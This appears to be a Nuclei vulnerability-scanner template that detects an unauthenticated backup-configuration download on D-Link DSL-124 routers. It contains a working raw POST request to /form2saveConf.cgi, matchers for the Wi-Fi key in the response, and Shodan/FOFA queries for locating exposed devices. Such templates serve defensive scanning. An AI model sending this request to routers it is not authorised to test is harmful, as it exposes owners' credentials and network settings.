id: dlink-n300-backup

info:
  name: DSL-124 Wireless N300 ADSL2+ - Backup File Disclosure
  author: DhiyaneshDk
  severity: high
  description: |
    The DSL-124 Wireless N300 ADSL2+ router exposes a backup configuration file that can be downloaded without authentication.
  reference:
    - https://www.exploit-db.com/exploits/51129
  metadata:
    max-request: 1
    shodan-query: 'Server: Virtual Web 0.9'
    fofa-query: body="DSL-124"
  tags: dsl,d-link,disclosure,backup

http:
  - raw:
      - |
        POST /form2saveConf.cgi HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        submit.htm?saveconf.htm=Back+Settings

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "WLAN_WPA_PSK", "Config")'
          - 'contains(content_type, "application/octet-stream")'
        condition: and
# digest: 4a0a00473045022100882f07d6cdfd0e3833a2c8be7f3e29356a268574e2a0c0a2f26a610a9d0fbe1a02205f5ce8be82a9bae1fa8c99ef0714f91d286babeeece04ed10903bd5ad8f0fd68:922c64590222798bb761d5b6d8e72950